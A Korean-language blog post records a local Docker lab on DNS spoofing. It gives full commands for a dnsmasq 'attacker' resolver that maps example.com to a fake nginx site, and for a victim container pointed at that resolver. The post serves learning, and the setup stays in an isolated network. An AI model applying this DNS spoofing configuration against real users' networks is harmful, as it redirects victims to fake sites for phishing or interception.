Home DNS Spoofing 실습 정리
Post
Cancel

DNS Spoofing 실습 정리

글을 작성하게 된 계기


DNS 스푸핑(DNS Spoofing)을 실습한 과정을 정리하기 위해 글을 작성하게 되었습니다.





1. DNS 스푸핑 실습


DNS 스푸핑을 실습하기 위해서는 다음과 같은 과정을 거치게 됩니다. 실제 배포했을 때, 다른 사람들에게 피해를 줄 수 있기 때문에 도커를 사용해 로컬에서 테스트 했습니다.

  1. 기존 컨테이너 및 네트워크 정리
  2. 네트워크 생성
  3. 공격자 컨테이너 실행
  4. 가짜 웹사이트 컨테이너 실행
  5. 가짜 웹페이지 설정
  6. 피해자 컨테이너 실행 및 dnslookup





전체 구조는 다음과 같습니다. 공격자(Attacker)는 dnsmasq를 실행하여 가짜 DNS 응답을 반환하며, 피해자(Victim)는 Attacker를 DNS 서버로 사용하며 example.com을 조회하면 192.168.1.200을 반환받습니다. 가짜 웹사이트(Fake-Site)는 Nginx가 실행되는 컨테이너로, 피해자가 example.com에 접속하면 실제 페이지 대신 가짜 페이지를 표시합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
                      ┌──────────────────────┐
                      │       Attacker       │ 
                      │    (192.168.1.100)   │
                      │- Runs dnsmasq        │
                      │- Spoofs DNS queries  │
                      └──────────┬───────────┘
                                 │
                                 │
                                 ▼
                      ┌──────────────────────┐
                      │   Victim (Ubuntu)    │
                      │- Uses attacker as    │
                      │  DNS resolver        │
                      │- Queries example.com │
                      └──────────┬───────────┘
                                 │
                                 │
                                 ▼
                      ┌──────────────────────┐
                      │   Fake-Site (NGINX)  │
                      │- Hosted on           │
                      │  192.168.1.200       │
                      │- Serves fake page    │
                      └──────────────────────┘





1-1. 기존 컨테이너 및 네트워크 정리

이전에 생성된 컨테이너와 네트워크를 제거해 깨끗한 환경에서 실습을 진행할 수 있도록 합니다.

1
2
3
$ docker stop attacker fake-site victim 2>/dev/null
$ docker rm attacker fake-site victim 2>/dev/null
$ docker network rm dns_spoofing_net 2>/dev/null





1-2. 네트워크 생성

다음으로 DNS 스푸핑을 위한 별도의 Docker 네트워크를 생성합니다.

1
$ docker network create --subnet=192.168.1.0/24 dns_spoofing_net





1-3. 공격자 컨테이너 실행

공격자 컨테이너는 DNS 서버 역할을 수행하며, example.com을 가짜 웹사이트의 IP(192.168.1.200)로 응답하도록 설정합니다.

1
2
3
4
5
6
7
8
9
10
$ docker run -d --name attacker --network dns_spoofing_net \
  --ip 192.168.1.100 \
  ubuntu:latest bash -c "apt update && apt install -y dnsmasq procps && \
  echo 'address=/example.com/192.168.1.200' > /etc/dnsmasq.conf && \
  echo 'listen-address=192.168.1.100' >> /etc/dnsmasq.conf && \
  echo 'log-queries' >> /etc/dnsmasq.conf && \
  echo 'log-facility=-' >> /etc/dnsmasq.conf && \
  echo 'no-resolv' >> /etc/dnsmasq.conf && \
  echo 'server=8.8.8.8' >> /etc/dnsmasq.conf && \
  dnsmasq --no-daemon"





1-4. 가짜 웹사이트 컨테이너 실행

가짜 웹사이트를 호스팅하는 컨테이너를 실행하여 192.168.1.200에서 웹 서버를 제공합니다.

1
2
3
$ docker run -d --name fake-site --network dns_spoofing_net \
  --ip 192.168.1.200 \
  nginx





1-5. 가짜 웹페이지 설정

가짜 경고 메시지를 표시하는 HTML 페이지를 생성합니다.

1
$ docker exec -it fake-site bash -c "echo '<h1>This is a Fake Example Page</h1>' > /usr/share/nginx/html/index.html"





1-6. 피해자 컨테이너 실행 및 dnslookup

피해자 컨테이너는 가짜 DNS 서버(192.168.1.100)를 사용하도록 설정하여 example.com을 조회하면 가짜 IP로 연결되도록 설정합니다.

1
2
$ docker run -it -d --name victim --network dns_spoofing_net \
  ubuntu:latest bash





도커 내부로 접속해서 DNP 서버를 설정하면 준비가 끝납니다.

1
$ docker exec -it victim bash
1
2
$ apt update && apt install -y curl dnsutils
$ echo 'nameserver 192.168.1.100' > /etc/resolv.conf





dnslookup을 통해 example.com을 조회하면 가짜 IP 주소로 연결되는 것을 확인할 수 있습니다.

1
2
$ nslookup example.com
$ curl -v http://example.com







2. 정리


DNS 스푸핑을 실습하며 가짜 DNS 서버를 설정하고, 가짜 웹사이트를 호스팅하는 컨테이너를 실행해 가짜 웹페이지를 표시하는 과정을 살펴보았습니다. 현재 하는 업무랑은 큰 관련이 없는데요, 그냥 호기심에 실습해 보았네요. 언젠간 이를 응용할 날이 오길.

  • 네트워크(dns_spoofing_net) 생성 → 컨테이너들이 독립된 환경에서 통신 가능
  • 공격자 컨테이너(attacker) 실행 → dnsmasq를 설정하여 DNS 스푸핑 수행
  • 가짜 웹사이트(fake-site) 실행 → NGINX로 가짜 페이지 제공
  • 피해자 컨테이너(victim) 실행 → 공격자의 DNS를 사용하도록 설정
  • 피해자가 example.com 조회 → 192.168.1.200(가짜 서버) IP를 반환받음
  • 피해자가 example.com 접속 → 가짜 페이지가 표시됨

This post is licensed under CC BY 4.0 by the author.